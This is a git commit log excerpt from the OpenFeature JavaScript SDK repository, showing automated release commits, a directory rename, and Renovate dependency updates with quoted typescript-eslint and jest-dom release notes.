###  New Features

* **react:** prevent rerenders when value is unchanged
([#987](https://github.com/open-feature/js-sdk/issues/987))
([b7fc08e](b7fc08e27d))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-09-04 19:20:33 +00:00
Michael Beemer b7fc08e27d
feat(react): prevent rerenders when value is unchanged (#987)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-09-04 14:53:05 -04:00
OpenFeature Bot 05b14a9d14
chore(main): release react-sdk 0.4.4 (#986)
🤖 I have created a release *beep* *boop*
---


##
[0.4.4](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.3...react-sdk-v0.4.4)
(2024-08-28)


### 🧹 Chore

* move client/ dir to web/
([#991](https://github.com/open-feature/js-sdk/issues/991))
([df4e72e](df4e72eabc))


### 📚 Documentation

* **react:** update the error message
([#978](https://github.com/open-feature/js-sdk/issues/978))
([429c4ae](429c4ae941))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-08-28 09:09:55 -04:00
OpenFeature Bot 74dfccde7e
chore(main): release web-sdk 1.2.3 (#995)
🤖 I have created a release *beep* *boop*
---


##
[1.2.3](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.2.2...web-sdk-v1.2.3)
(2024-08-28)


### 🧹 Chore

* **main:** release core 1.4.0
([#984](https://github.com/open-feature/js-sdk/issues/984))
([01344b2](01344b28c1))
* move client/ dir to web/
([#991](https://github.com/open-feature/js-sdk/issues/991))
([df4e72e](df4e72eabc))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-08-28 09:01:13 -04:00
OpenFeature Bot 290184b04f
chore(main): release server-sdk 1.15.1 (#983)
🤖 I have created a release *beep* *boop*
---


##
[1.15.1](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.15.0...server-sdk-v1.15.1)
(2024-08-28)


### 🧹 Chore

* add assertion for hook context contents
([#977](https://github.com/open-feature/js-sdk/issues/977))
([964d65b](964d65b775))
* **main:** release core 1.4.0
([#984](https://github.com/open-feature/js-sdk/issues/984))
([01344b2](01344b28c1))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-08-28 08:49:22 -04:00
OpenFeature Bot 01344b28c1
chore(main): release core 1.4.0 (#984)
🤖 I have created a release *beep* *boop*
---


##
[1.4.0](https://github.com/open-feature/js-sdk/compare/core-v1.3.0...core-v1.4.0)
(2024-08-28)


###  New Features

* updated the Metadata type to allow for custom properties
([#975](https://github.com/open-feature/js-sdk/issues/975))
([16b0d74](16b0d74340))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-08-28 08:44:37 -04:00
Todd Baert df4e72eabc
chore: move client/ dir to web/ (#991)
I've been meaning to do this for a while... it just renames the
`client/` dir to `web/`. I think this is better because there will be
less confusion around the OpenFeature client object (which has it's own
dirs) and because it's more consistent with the associated artifact name
"web-sdk".

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-08-28 12:11:52 +00:00
renovate[bot] d9d5a3d3ef
chore(deps): update dependency @testing-library/jest-dom to v6.5.0 (#989)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@testing-library/jest-dom](https://togithub.com/testing-library/jest-dom)
| [`6.4.5` ->
`6.5.0`](https://renovatebot.com/diffs/npm/@testing-library%2fjest-dom/6.4.5/6.5.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2fjest-dom/6.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2fjest-dom/6.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2fjest-dom/6.4.5/6.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2fjest-dom/6.4.5/6.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>testing-library/jest-dom
(@&#8203;testing-library/jest-dom)</summary>

###
[`v6.5.0`](https://togithub.com/testing-library/jest-dom/compare/v6.4.8...62f0e3a43262b945bbf6bdd9bf231bf3e4ac7778)

[Compare
Source](https://togithub.com/testing-library/jest-dom/compare/v6.4.8...v6.5.0)

###
[`v6.4.8`](https://togithub.com/testing-library/jest-dom/compare/v6.4.7...d02e80b1b7ed38090975bdfe49ab8063eec040f5)

[Compare
Source](https://togithub.com/testing-library/jest-dom/compare/v6.4.7...v6.4.8)

###
[`v6.4.7`](https://togithub.com/testing-library/jest-dom/compare/v6.4.6...5cc6298847e08872b79f827921c64c9ba261cc54)

[Compare
Source](https://togithub.com/testing-library/jest-dom/compare/v6.4.6...v6.4.7)

###
[`v6.4.6`](https://togithub.com/testing-library/jest-dom/releases/tag/v6.4.6)

[Compare
Source](https://togithub.com/testing-library/jest-dom/compare/v6.4.5...v6.4.6)

##### Bug Fixes

- Support [@&#8203;starting-style](https://togithub.com/starting-style)
([#&#8203;602](https://togithub.com/testing-library/jest-dom/issues/602))
([fd9ee68](fd9ee68ae4))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4yNi4xIiwidXBkYXRlZEluVmVyIjoiMzguMjYuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-08-27 11:12:55 -04:00
renovate[bot] 4f45897438
chore(deps): update typescript-eslint monorepo to v7.18.0 (#947)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@typescript-eslint/eslint-plugin](https://typescript-eslint.io/packages/eslint-plugin)
([source](https://togithub.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin))
| [`7.8.0` ->
`7.18.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2feslint-plugin/7.8.0/7.18.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2feslint-plugin/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2feslint-plugin/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2feslint-plugin/7.8.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2feslint-plugin/7.8.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@typescript-eslint/parser](https://typescript-eslint.io/packages/parser)
([source](https://togithub.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser))
| [`7.8.0` ->
`7.18.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fparser/7.8.0/7.18.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@typescript-eslint%2fparser/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@typescript-eslint%2fparser/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@typescript-eslint%2fparser/7.8.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@typescript-eslint%2fparser/7.8.0/7.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/eslint-plugin)</summary>

###
[`v7.18.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7180-2024-07-29)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.17.0...v7.18.0)

##### 🩹 Fixes

- **eslint-plugin:** \[no-unnecessary-type-assertion] prevent runtime
error when asserting a variable declared in default TS lib

- **eslint-plugin:** \[unbound-method] report on destructuring in
function parameters

- **eslint-plugin:** \[no-duplicate-type-constituents] shouldn't report
on error types

- **eslint-plugin:** \[strict-boolean-expressions] support branded
booleans

##### ❤️  Thank You

-   auvred
-   Oliver Salzburg
-   Vinccool96
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.17.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7170-2024-07-22)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.16.1...v7.17.0)

##### 🚀 Features

- **eslint-plugin:** backport no-unsafe-function type,
no-wrapper-object-types from v8 to v7

- **eslint-plugin:** \[return-await] add option to report in
error-handling scenarios only, and deprecate "never"

##### 🩹 Fixes

- **eslint-plugin:** \[no-floating-promises] check top-level type
assertions (and more)

- **eslint-plugin:** \[strict-boolean-expressions] consider assertion
function argument a boolean context

- **eslint-plugin:** \[no-unnecessary-condition] false positive on
optional private field

##### ❤️  Thank You

-   Armano
-   Josh Goldberg 
-   Kirk Waiblinger
-   StyleShit

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7161-2024-07-15)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.16.0...v7.16.1)

##### 🩹 Fixes

- **eslint-plugin:** \[no-unnecessary-type-parameters] descend into all
parts of mapped types in no-unnecessary-type-parameters

##### ❤️  Thank You

-   Dan Vanderkam

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7160-2024-07-08)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.15.0...v7.16.0)

##### 🚀 Features

-   **rule-tester:** stricter rule test validations

- **eslint-plugin:** \[no-unnecessary-parameter-property-assignment] add
new rule

- **eslint-plugin:** add support for nested namespaces to
unsafe-member-access

-   **eslint-plugin:** \[no-floating-promises] add checkThenables option

##### 🩹 Fixes

- **deps:** update dependency
[@&#8203;eslint-community/regexpp](https://togithub.com/eslint-community/regexpp)
to v4.11.0

- **eslint-plugin:** \[no-floating-promises] add `suggestions` to tests
from
[#&#8203;9263](https://togithub.com/typescript-eslint/typescript-eslint/issues/9263)
`checkThenables`

-   **website:** react key error on internal pages of website

- **eslint-plugin:** \[restrict-template-expressions] don't report
tuples if `allowArray` option is enabled

##### ❤️  Thank You

-   Abraham Guo
-   auvred
-   Josh Goldberg 
-   Juan Sanchez
-   Vinccool96
-   YeonJuan
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.15.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7150-2024-07-01)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.14.1...v7.15.0)

##### 🚀 Features

-   **eslint-plugin:** \[array-type] detect `Readonly<string[]>` case

- **eslint-plugin:** back-port new rules around empty object types from
v8

##### 🩹 Fixes

- disable `EXPERIMENTAL_useProjectService` in `disabled-type-checked`
shared config

- **eslint-plugin:** \[no-unsafe-return] differentiate a types-error any
from a true any

- **eslint-plugin:** \[no-unsafe-call] differentiate a types-error any
from a true any

##### ❤️  Thank You

-   auvred
-   Kim Sang Du
-   rgehbt
-   Vinccool96

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7141-2024-06-24)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.14.0...v7.14.1)

##### 🩹 Fixes

- **eslint-plugin:** \[prefer-nullish-coalescing] treat enums and
literals as their underlying primitive types

- **eslint-plugin:** \[prefer-nullish-coalescing] ensure ternary fix
does not remove parens

##### ❤️  Thank You

-   Jake Bailey

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7140-2024-06-24)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.13.1...v7.14.0)

##### 🚀 Features

-   support TypeScript 5.5

##### 🩹 Fixes

-   **eslint-plugin:** \[no-extraneous-class] handle abstract members

- **eslint-plugin:** \[prefer-nullish-coalescing] handle intersected
primitive types

-   **eslint-plugin:** \[no-invalid-this] support AccessorProperty

##### ❤️  Thank You

-   Brad Zacher
-   cm-ayf
-   Jake Bailey
-   James Zhan
-   Joshua Chen
-   yoshi2no

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7131-2024-06-17)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.13.0...v7.13.1)

##### 🩹 Fixes

-   **eslint-plugin:** \[prefer-readonly] refine report locations

- **eslint-plugin:** \[return-await] support explicit resource
management

- **eslint-plugin:** \[no-unsafe-member-access] differentiate a
types-error any from a true any

##### ❤️  Thank You

-   Kirk Waiblinger
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7130-2024-06-10)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.12.0...v7.13.0)

##### 🚀 Features

- **typescript-estree:** require `import = require()` argument to be a
string literal

- **typescript-estree:** forbid `.body`, `.async`, `.generator` on
`declare function`

- **eslint-plugin:** \[no-dynamic-delete] allow all string literals as
index

##### 🩹 Fixes

- **ast-spec:** function-call-like callee should be Expression not
LeftHandSideExpression

-   **scope-manager:** handle index signature in class

-   **eslint-plugin:** \[init-declarations] refine report locations

- **eslint-plugin:** \[no-base-to-string] make error message more
nuanced

- **eslint-plugin:** \[no-unsafe-assignment] be more specific about
error types

- **eslint-plugin:** \[no-magic-numbers] fix implementation of the
`ignore` option

##### ❤️  Thank You

-   Fotis Papadogeorgopoulos
-   Joshua Chen
-   Kirk Waiblinger
-   Tobiloba Adedeji
-   Vinccool96
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.12.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7120-2024-06-03)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.11.0...v7.12.0)

##### 🚀 Features

- **eslint-plugin:** \[no-useless-template-literals] rename to
`no-useless-template-expression` (deprecate
`no-useless-template-literals`)

-   **rule-tester:** check for parsing errors in suggestion fixes

-   **rule-tester:** port `checkDuplicateTestCases` from ESLint

- **eslint-plugin:** \[no-floating-promises] add option
'allowForKnownSafePromises'

##### 🩹 Fixes

-   no-useless-template-expression -> no-unnecessary-template-expression

- **eslint-plugin:** \[no-unnecessary-type-assertion] combine template
literal check with `const` variable check

- **eslint-plugin:** \[dot-notation] fix false positive when accessing
private/protected property with optional chaining

- **eslint-plugin:** \[explicit-member-accessibility] refine report
locations

- **eslint-plugin:** \[no-unnecessary-type-assertion] declares are
always defined, so always check `declare`s

- **eslint-plugin:** \[prefer-literal-enum-member] allow using member it
self on allowBitwiseExpressions

- **eslint-plugin:** \[return-await] clean up in-try-catch detection and
make autofixes safe

- **eslint-plugin:** \[member-ordering] also TSMethodSignature can be
get/set

##### ❤️  Thank You

-   Abraham Guo
-   Han Yeong-woo
-   Joshua Chen
-   Kim Sang Du
-   Kirk Waiblinger
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.11.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7110-2024-05-27)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.10.0...v7.11.0)

##### 🚀 Features

- **eslint-plugin:** deprecate prefer-ts-expect-error in favor of
ban-ts-comment

##### 🩹 Fixes

- **eslint-plugin:** \[consistent-type-assertions] prevent syntax errors
on arrow functions

##### ❤️  Thank You

-   Abraham Guo
-   auvred
-   Dom Armstrong
-   Kirk Waiblinger

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.10.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#7100-2024-05-20)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.9.0...v7.10.0)

##### 🚀 Features

- **eslint-plugin:** \[sort-type-constituents] support case sensitive
sorting

##### 🩹 Fixes

- **eslint-plugin:** \[prefer-regexp-exec] fix heuristic to check
whether regex may contain global flag

##### ❤️  Thank You

-   auvred
-   Emanuel Hoogeveen
-   jsfm01
-   Kirk Waiblinger

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.9.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/eslint-plugin/CHANGELOG.md#790-2024-05-13)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.8.0...v7.9.0)

##### 🩹 Fixes

- **eslint-plugin:** \[explicit-function-return-types] fix false
positive on default parameters

##### ❤️  Thank You

-   Kirk Waiblinger
-   Sheetal Nandi
-   Vinccool96

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint
(@&#8203;typescript-eslint/parser)</summary>

###
[`v7.18.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7180-2024-07-29)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.17.0...v7.18.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.17.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7170-2024-07-22)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.16.1...v7.17.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7161-2024-07-15)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.16.0...v7.16.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.16.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7160-2024-07-08)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.15.0...v7.16.0)

##### 🩹 Fixes

- **deps:** update dependency
[@&#8203;eslint-community/regexpp](https://togithub.com/eslint-community/regexpp)
to v4.11.0

-   **website:** react key error on internal pages of website

##### ❤️  Thank You

-   Abraham Guo
-   auvred
-   Josh Goldberg 
-   Juan Sanchez
-   Vinccool96
-   YeonJuan
-   Yukihiro Hasegawa

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.15.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7150-2024-07-01)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.14.1...v7.15.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7141-2024-06-24)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.14.0...v7.14.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.14.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7140-2024-06-24)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.13.1...v7.14.0)

##### 🚀 Features

-   support TypeScript 5.5

##### ❤️  Thank You

-   Brad Zacher
-   cm-ayf
-   Jake Bailey
-   James Zhan
-   Joshua Chen
-   yoshi2no

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.1`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7131-2024-06-17)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.13.0...v7.13.1)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.13.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7130-2024-06-10)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.12.0...v7.13.0)

##### 🚀 Features

- **parser, typescript-estree:** export withoutProjectParserOptions
utility

##### ❤️  Thank You

-   Fotis Papadogeorgopoulos
-   Joshua Chen
-   Kirk Waiblinger
-   Tobiloba Adedeji
-   Vinccool96
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.12.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7120-2024-06-03)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.11.0...v7.12.0)

##### 🩹 Fixes

-   **types:** correct typing ParserOptions

##### ❤️  Thank You

-   Abraham Guo
-   Han Yeong-woo
-   Joshua Chen
-   Kim Sang Du
-   Kirk Waiblinger
-   YeonJuan

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.11.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7110-2024-05-27)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.10.0...v7.11.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.10.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#7100-2024-05-20)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.9.0...v7.10.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

###
[`v7.9.0`](https://togithub.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/parser/CHANGELOG.md#790-2024-05-13)

[Compare
Source](https://togithub.com/typescript-eslint/typescript-eslint/compare/v7.8.0...v7.9.0)

This was a version bump only for parser to align it with other projects,
there were no code changes.

You can read about our [versioning
strategy](https://main--typescript-eslint.netlify.app/users/versioning)
and
[releases](https://main--typescript-eslint.netlify.app/users/releases)
on our website.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNjMuNSIsInVwZGF0ZWRJblZlciI6IjM3LjQ0MC43IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-08-27 11:12:37 -04:00
renovate[bot] 249daba9bc
chore(deps): update dependency eslint-plugin-jsdoc to v48.11.0 (#950)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-jsdoc](https://togithub.com/gajus/eslint-plugin-jsdoc)
| [`48.2.4` ->
`48.11.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/48.2.4/48.11.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/48.11.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/48.11.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/48.2.4/48.11.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/48.2.4/48.11.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v48.11.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.10.2...116b3e8c906884f799927cf42ab29cab1cfb4e31)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.10.2...v48.11.0)

###
[`v48.10.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.10.2)

[Compare
